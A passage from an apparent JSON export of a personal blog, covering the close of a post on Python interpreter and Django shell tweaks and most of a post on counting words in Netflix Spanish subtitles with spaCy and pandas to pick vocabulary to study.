#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e mkstemp(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.py'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            os.write(fd, \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eb\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.join(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.last_buffer))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            os.close(fd)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            os.system(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%s\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%s\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e%\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eEDITOR\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, tmpfl))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            line \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eopen\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(tmpfl).read()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            os.unlink(tmpfl)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            tmpfl \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            lines \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e line.split( \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e i \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003erange\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elen\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(lines) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e): \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e.push( lines[i] )\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            line \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e lines[\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e line\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003ec \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e EditableBufferInteractiveConsole(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elocals\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003elocals\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003ec.interact(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebanner\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e''\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# Exit the Python shell on exiting the InteractiveConsole\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003esys.exit()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFor Django developers when you load up the ./manage.py shell it is nice\nto have access to all your models and settings for testing:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e# If we're working with a Django project, set up the environment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'DJANGO_SETTINGS_MODULE'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e os.environ:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e django.db.models.loading \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_models\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e django.test.client \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Client\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e django.test.utils \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e setup_test_environment, teardown_test_environment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e django.conf \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e settings \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eas\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e S\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eDjangoModels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eobject\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\"Loop through all the models in INSTALLED_APPS and import them.\"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__init__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e m \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_models():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003esetattr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, m.\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e__name__\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, m)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    A \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e DjangoModels()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    C \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e Client()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter these tweaks the python interpreter is a lot more powerful and you\nreally lose the need for the more interactive shells like ipython and\nbpython. All of these settings work in both python2 and python3.\u003c/p\u003e\n\u003cp\u003eIf you want to see my complete ~/.pythonrc.py you can get it on\n\u003ca href=\"https://github.com/sontek/dotfiles/blob/master/_pythonrc.py\"\u003egithub\u003c/a\u003e\u003c/p\u003e","category":"Development","date":"2010-12-27T18:00:00-06:00","tags":["Python"],"title":"Tips and Tricks for the Python Interpreter"},{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI've been living in Puerto Rico for 4 years but two of those have been COVID and so I haven't been able to practice Spanish as much as I'd like. So to speed up my learning I've decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that don't get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI've decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word.  The more a word is spoken the more important it is for me to know it since I'll be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI'm going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e248\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:17:58.285 --\u003e 00:18:01.163  position:50.00%,middle  align:middle size:80.00%  line:79.33% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo de verdad espero que ustedes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eme vean como una amiga, ¿mmm?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e249\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:01.247 --\u003e 00:18:02.539  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eNo como una madrastra.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e250\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:18:04.250 --\u003e 00:18:06.127  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYo nunca te vi como una madrastra.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen.   So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words.   This approach was quick and painless but it had a few downs falls.    Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I'd have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI couldn't figure out what the word was without it being in a complete sentence, but subtitles are fragments.   They are split up into timings for displaying on the screen but they don't include entire sentences.  For example, it might look like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e23\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:21.960 --\u003e 00:01:23.520  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eSolo las que luchan por ellos\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e24\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e00:01:23.680 --\u003e 00:01:25.680  position:50.00%,middle  align:middle size:80.00%  line:84.67% \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003econsiguen sus sueños.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\".   My first thought was a regular expression on punctuation.   This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often on generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also didn't work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it'll return you a set of tokens:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e import spacy\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctation.   The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed!   So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport numpy as np\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport pandas as pd\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eimport matplotlib.pyplot as plt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003epd.set_option('display.max_rows', 1000)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech.   I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result = (words.groupby(words.word).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_result.head(300)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\tword\tcount\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e0\tque\t94430\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e1\tno\t75931\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e2\ta\t70968\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e3\tde\t67982\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e4\tser\t64226\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e5\tla\t52143\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e6\ty\t44390\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e7\testar\t37819\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e8\tel\t35920\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be.   Is there a set of words that I must learn because they are spoken so often that I wouldn't understand a conversation if they weren't in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark.   So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important.   I wasn't quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way.  So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .sort_values(ascending=False) \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .reset_index(name='count')\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e   .drop_duplicates(subset='word'))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 